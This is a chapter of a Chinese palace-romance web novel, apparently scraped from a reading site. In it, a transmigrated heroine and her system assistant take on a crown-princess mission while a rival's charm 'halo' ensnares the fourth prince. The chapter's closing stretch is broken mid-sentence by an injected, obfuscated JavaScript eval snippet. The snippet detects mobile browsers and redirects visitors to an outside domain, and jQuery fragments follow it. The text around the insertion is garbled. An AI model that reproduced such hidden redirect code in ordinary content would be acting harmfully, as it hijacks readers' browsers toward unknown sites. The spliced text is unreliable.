他低声道:“我不是,我刚刚……我……清恒,你说得对,我刚刚很不对劲儿。” 太子中招亦在预料之中,姜典则也没介意太子那越发用力的手,“我知道。下次殿下会有防备。” 太子一把抱住姜典则,声音更低,“你不要讨厌我。” 毫无疑问,周围的内侍们又看麻了。 姜典则顾不上内侍们的感受,她顺势靠在太子怀里,心中有点疑惑:太子本就是这样的人,还是说唐诗丽外挂的副作用如此强悍? 太子不知她心中所想,感觉到怀中人主动贴贴,他更为安心,腾出手抹了把脸,再次看向唐诗丽远去的背影——只是这会儿目光中哪有丝毫的绮念,取而代之的是不可言说的杀意。 姜典则依旧没有错过。 太子低头对上她的眼睛,当即轻轻捂了上来,“不要看我。” 姜典则挑了挑眉,太子先拉手再拥抱都是用了点子力气,她多少有点不耐烦,“为什么不能看?你毁容了?” 太子愣了下,抬手捂住了自己的半张脸,“我刚才生气了,很丑。” 这就很难评……姜典则忍不住跟小助理吐槽,“我感觉这不太像后遗症。” 小助理秒答,“那是的。剧情里的太子是公认的颠佬,原女主唐诗丽怎么都讨好不得,都成执念了。” 8.太子妃8 姜典则再次翻了翻剧情梗概,原主嫁给太子后夫妻感情相敬如“冰”,居住在东宫中可以几天见不到面,十天半个月说不上一句话,更深层的交流……自不必说。 原主满心怨恨,但又不敢也不能对太子发作,便一门心思给自家谋福利,最初这份福利都是冲着亲爹安国公去的。 无奈北面草原生事,北狄人犯边,安国公挂印出征,却为数位位高权重的内奸算计,与战场上重伤。虽然拖着病躯坚持指挥作战,并取得胜利,可人回到京城就只剩半口气了。 安国公一卧床,安国公府几乎塌了一半,原主不得不培养自己不成器的弟弟……实际上在别无选择之前,原主很嫌弃自己的干啥啥不成又任性霸道的废物耀祖弟弟,同时也挺瞧不上满脑子只有儿子的生母李夫人。 姜典则再次一目十行看完原主婚后经历,难免生起几分怜悯。 而后她就知道不对了,因此残存在体内的原主似乎醒来过来,“好像是我诚心诚意怜悯导致的?” “嗯……我就是个可怜人呀。”残存于体内的残魂及时传音,“曾祖母去了,我就爹不疼娘不爱,丈夫弟弟一概指望不上。不管您是谁,愿意接下这么个烂摊子,都得谢谢您。因为……好像有什么冥冥之中的天音告诉我,我交代完就可以去投胎啦。” 姜典则听得出原主话中的雀跃,“那……恭喜你?” “谢谢。我是曾祖母抚养长大,骑射功夫过得去,诗书也读了些,年轻时可自命不凡,起码自觉跟京里那些满脑子丈夫孩子的闺女们不一样。我也没什么特别的心愿,家里人顺其自然,各安天命,您不用特别照顾,就……希望您能稍微用得上我这点本事,用不上也无所谓。” 姜典则一下子从怜悯改为惋惜又尊敬。 对方感受到这份真诚的敬意,声音又柔和了几分,“别的没了。姐姐,我感觉应该叫你姐姐,我走啦。” 心中直接空了一块,姜典则沉默了。 小助理适时开口,“动心了。” “没错,有点像留下来做任务了,”姜典则叹了一声,“好姑娘,可惜命不好,不过,”她暗自推衍了下,“下辈子似乎还不错?你查一下。” 小助理付费查询,“确实,成了您老家平行世界中备受爹娘疼爱的中产之家独生女。” 老家那边富裕独生女的快乐,姜典则可太懂了,因为她自己就是。 既然想接任务,姜典则就得再认真审视一下太子:太子抱着她不撒手,只是不再用力,双臂轻轻环在她的腰际,而小心脏依旧砰砰乱跳。 她将双手按在太子背上,历经无数任务世界锻炼出的隐秘内息顺着太子颈椎缓慢上行,然后在太子脑部转了好几圈。 她先是查到了几处没什么太大影响的血管畸形,而后在边缘系统的扣带回发现了灰质异常。一般而言,边缘系统参与调解本能和情感行为①,这就和剧情里太子要么暴躁易怒要么情感淡漠对上了。 总之,太子确实癫,只是他的癫大半源于器质性异常,小部分外界刺激。也就是说剧情里太子未必是故意薄待原主,避着原主不见很可能是精神状态过于“美丽”而不得不养病。 得出结论,姜典则又叹了一声:不对的时间遇上了不对的人,这可不是简简单单的悲剧乘以二。 她双手拍拍太子的后背,“好啦,别委屈啦,我也没说什么,更没有怨你,本来也不是你的错。” 太子不肯松手,“你没有怨我,可你想丢下我。你绝对想过。” 好家伙,这么敏锐的吗。 姜典则只好道:“你看我现在呢?” 太子闭上眼睛想了一下,这才松开了手,“你摸了摸我的脑袋,然后改主意了。” 姜典则在心里笑了,跟小助理道,“有点意思。这个任务我接了。” “好的!” 太子这会儿睁开了眼睛,虽然眼底仍有血丝,但透出来的笑意一望则明,“你真的改主意了,你知道我有病。” 姜典则揪了下太子垂下来的一绺黑发,“你要是早向我坦白,我说不定更喜欢你一点。”说完她的手又让太子牵住了。 签手不算完,太子盯住姜典则的眼睛,娓娓道来,“我小时候发病过两三回吧,治得很好,后来再没发过病。其实前些天我见到你,就觉得有你在,我这辈子都不会再犯病……爹和娘成亲之后也没犯过病啊。只是没想到……唐诗丽!”提起唐诗丽的名字,他不免咬牙切齿。 太子的异常源自元和帝实属意料之中。姜典则晃了晃太子的手,也不装了,“先回东宫重新梳梳头发,再去皇后娘娘那儿听听你小妹怎么告状?” 太子终于笑了,“嗯。” 至于二人身边的内侍,从麻中麻之后,就全然见怪不怪淡定极了:见惯了帝后如何相处,太子和太子妃就是翻版帝后,理所当然好吧。 他们心底唯一的疑惑同样是唐诗丽——即使唐诗丽的魅惑光环会让人下意识忽视不妥之处,但有太子和姜典则在,他们稍微豁免了魅惑光环的效果。 然而二公主不一样,她不像哥哥几乎全盘继承了父亲的遗传病,最多有点神经衰弱,但心智远远不及哥哥,导致她让唐诗丽的光环直接“杀穿”,冲动妄为还降智,而且莫名对唐诗丽言听计从。 现在她气势汹汹走在前往坤宁宫的路上,唐诗丽等头痛稍微减轻不由分说又给身前二公主补了一下:去往坤宁宫告状,让谭皇后主持“公道”,对她能有什么好处?! 她没有信心对付元和帝与谭皇后,毕竟冲着太子来上一下就头疼欲裂,险些走路都在踉跄……虽说恢复得挺快,过去一刻钟左右她就能再来一下。 思来想去,她觉得别去帝后那儿露面讨嫌,尤其是现在这个点儿内命妇们已经赶到了坤宁宫,所以先牢牢控住二公主,找机会限制住四皇子,而后沉淀短时间,再尝试对付帝后比较好。 好生揉搓了下太阳穴,她出言阻拦二公主,“殿下,帝后真能为您做主吗?” 二公主闻言果然止住脚步,“他欺负我,爹娘怎么能不管?!凭什么不管?!” 问出这种话可见脑子还没恢复,唐诗丽火上浇油,“凭殿下您哥哥是太子。” 二公主眼圈又红了,她终究不是完全不能思考,“那你说怎么办?我自己委屈倒还罢了,我是在为你出头!” 唐诗丽只想翻白眼,但她得耐着性子哄劝,“殿下为我着想,我却不能坐视殿下为难。这会儿内命妇们陆陆续续到了,殿下您的李家表哥是不是也……” 太后的这个娘家侄孙叫什么来着?她都不记得了,只记得这位十分俊俏,但论样貌更胜太子一筹,只可惜二十多岁就没了,打那以后二公主就四处留情,面首成群了。 不过李姓表哥活着,二公子一样有面首,只是没那么招摇罢了。 听到“表哥”二字,二公主眼神一凝,深吸口气,“你说得对。先回去梳洗换件衣裳再说。”说完她转身就走。 唐诗丽也送了口气,想说自己也正好休息一下,然而……真是怕什么来什么,回乾东五所的路上她们迎面撞上了四皇子一行人。 说是一行,其实只有四皇子与他的心腹太监。 唐诗丽立即垂下脑袋,隔世再见四皇子,恨意疯狂上涌,她脑子疼得嗡嗡响:她想起来了!上辈子……上辈子,这混蛋逼她诱惑草原上的汗王,之后卸磨杀驴亲手勒死了她! 她强迫自己冷静下来,起码见礼抬头后不能让四皇子看出端倪,之后趁机给上四皇子一下,哪怕损耗过大不得不卧床休养都在所不惜! 她深呼吸数次,期间四皇子关切地询问二公主,二公子不耐烦地回应,她几乎都没听清,感觉脑中灵光一闪,她猛地抬头,冲四皇子行礼。 四皇子,怡嫔所出,比太子大两岁。 在太子出生前,他与三皇子是元和帝唯二两个活着的儿子,却也没得到元和帝另眼相看。等太子和二公主出生,他的处境倒也没有变差:太子平安长大,帝后欣慰之余对两位庶出皇子其实还更好了点,只是地位又更边缘了些。 他和他生母怡嫔安之如怡,至少明面上安之如怡,最多念叨两句“雷霆雨露皆是君恩”。 因为三皇子生母忻嫔暗地里抱怨元和帝偏心,皇子大了不封王亦不能出宫开府建牙,很快忻嫔就被降为美人,自己的宫室都保不住,三皇子更是大病一场,病愈后干脆整日与书画为伴,连这种赏花宴都懒得出来。 实际上三皇子与四皇子都有了正妃人选,且都系出名门——不是唐家这种只剩名头的破落户,两位预定正妃的父兄至少三品。 四皇子本人对帝后为他挑选的王妃相当满意,私底下见过数次,相处也好,这会儿他收到了未来王妃托人送来的书信前去赴约。 说实话,迎面撞上小脸通红的二公主,他压根不想多管闲事,关心下发生什么,也是纯粹的面子情,结果余光扫过二公主身后的唐诗丽,他整个人都呆住了。 一时间脑子一片空白,甚至连呼吸都给忘了。 只过了一瞬又似乎过了好久,四皇子找回了自己的声音,略带暗哑,“这是哪家的姑娘?” 二公主阴阳怪气,“怎么?这就看上了?你不去见你媳妇的吗?” “嗯。”四皇子应了一声,大步上前。 唐诗丽竭尽全力挤出个笑容来,“臣女姓唐……”头疼欲裂,嗓子发烟,后面她实在说不下去了。 却不知她近乎力竭的这一笑落在旁人眼中,简直梨花带雨我见犹怜。 本就被光环烧脑的四皇子一见更是按捺不住,直接上手姜唐诗丽抱在怀里。 唐诗丽稍微仰头,望着这个让她又爱又恨的男人,酝酿片刻才轻唤了声,“四殿下……”她脑袋一歪,直接倒在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710074|173526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了四皇子怀里。 四皇子低眉垂眼,面无表情,只是拥着唐诗丽的手……上面青筋爆出。 二公主不可能注意这种细节,她并不阻拦异母哥哥对唐诗丽做什么,而是继续阴阳怪气,“我看见了,你不能让诗丽没有下场。” 四皇子心绪极乱,他自己都理不清楚更无从说出口,只是他还记得自己不能不理会二公主,“这个自然。” 他还想再说点什么安抚二公主,就听拍手声自身后传来。 他与二公主齐齐循声望去,就见太子与安国公的女儿相携而至。 乾清宫与坤宁宫都在中轴线上,四皇子居住的乾西五所与二公主的乾东五所分别位于中轴线两边。 他们往来住处与坤宁宫都走中间大路,虽然宫殿之间有小路相连,但皇子公主凭什么没事儿抄小路,他们有什么事儿见不得人吗? 这就导致了三波人毫无意外地汇聚于前往坤宁宫的路上。 四皇子转身向太子见礼,手里都不肯松开昏过去的唐诗丽。 太子回礼,同样不肯松开姜典则的手。 二公主不情不愿地行礼,而后来了一句,“呵,半斤八两,全都昏了头。” 太子眼皮都不抬,“怎么没去告状?” 二公主毫不犹豫道:“要不是诗丽为你求情,我真就去了。” 太子转头问向四皇子,“四哥这是好事将近,双喜临门?” 四皇子知道赏花宴上不该让他未来的王妃没脸,但他就是忍不住……他心底有个声音:如果能抓住,他未来不可限量,能和稳如泰山的太子搏一搏! 他抱住唐诗丽那一瞬,就是打定了主意,他忍够了,他要拼一次!输了无非就是软禁,说不定仍有东山再起的机会,因为……太子有病,绝非长寿之相。一旦太子出事,皇后必然承受不住,皇后病重父皇也好不到哪里去。 只要太子出事! 四皇子短暂地迟疑了一下,忽地脑中灵光一闪,他恍惚间看到了帝后,二人之间那股子就差明说“没了你我也不活”的一心一意,让他想起来帝后。 他努力思考,再侧头端详起来太子身边的女子:如果太子不出事,他也可以想办法让这个女子……哦,对,这是安国公唯一活到成年的女儿,能捏住这姑娘,安国公也……得为我所用。 诶? 一阵剧痛袭来,他不得不腾出手按住额头,只是站立不稳他也不肯丢开怀里昏迷的唐诗丽。 二公主抱着胳膊,见状又冷笑一声。 太子眯了眯眼睛,刚刚心情犹如船遇巨浪,现下眼睛又干又痛,再看四皇子这副反常情深的模样,更觉得辣眼睛。 他赶紧转头,看向身边的心上人。 姜典则点了点头,示意太子凑近点,而后几乎是贴着太子耳边轻声说,“四皇子也中招了。” 太子微微皱眉,“管他去死。” 姜典则又道:“唐诗丽这么邪乎,没弄白怎么回事前不好轻举妄动,那为什么不把唐诗丽限制在眼皮子底下?” 太子小声回话,“让老四求仁得仁?”他实话实说,“老四其实不是色令智昏之辈。” 姜典则给了太子一个眼神。 太子真就能看懂,他站起身子,吩咐四皇子,“还不带着你的人赶紧走。非得等旁人瞧见,故意生米煮成熟饭。” 四皇子低声应下,略一用力,将唐诗丽直接扛到了肩上,而后大步往乾西五所去了。 二公主目送四皇子走远,瞪了太子一眼仿佛想起了点什么,赶紧追着四皇子去了,“诶,你想做什么?” 两拨人先后走开,姜典则才跟太子徐徐道来,“有空得多试试唐家这位姑娘的不凡之处。” 太子点了点头,“连跟着我们几个的,都……”他看了眼落后三步,垂头垂手无比恭谨的两位内侍,“比往常呆了不少。她确实很不凡,我也不好乱来,省得打草惊蛇。不过清恒,她不能把你怎么样,对吗?” 姜典则很痛快地承认,“是呢。”又半真半假道,“我也非常不凡。” 太子比她更为痛快,“前几天见你第一眼我就知道。你是照在我身上的阳光。”顿了顿他又道,“既然她拿你没办法,只要我受了蛊惑,你就……打我,冲我脸上来。” 姜典则瞪大了眼睛:太子无比认真,是真心想要她扇耳光来唤醒自己。 不过太子能对自己狠,她可没那么下得去手。于是她伸手捧住太子的俊脸,“您长得太好了,美男子我也见过一些,可没人能让我这么喜欢,我舍不得怎么办呢?” 四目相对,再加上手捧脸,太子又双叒叕红透了耳朵尖儿,“不打脸也可以打别的地方,你打我哪里我都喜欢。我……快等不及了。” 姜典则在心中脱口而出,“给劲儿!” 小助理也绷不住,抠了好长一大串“666”出来。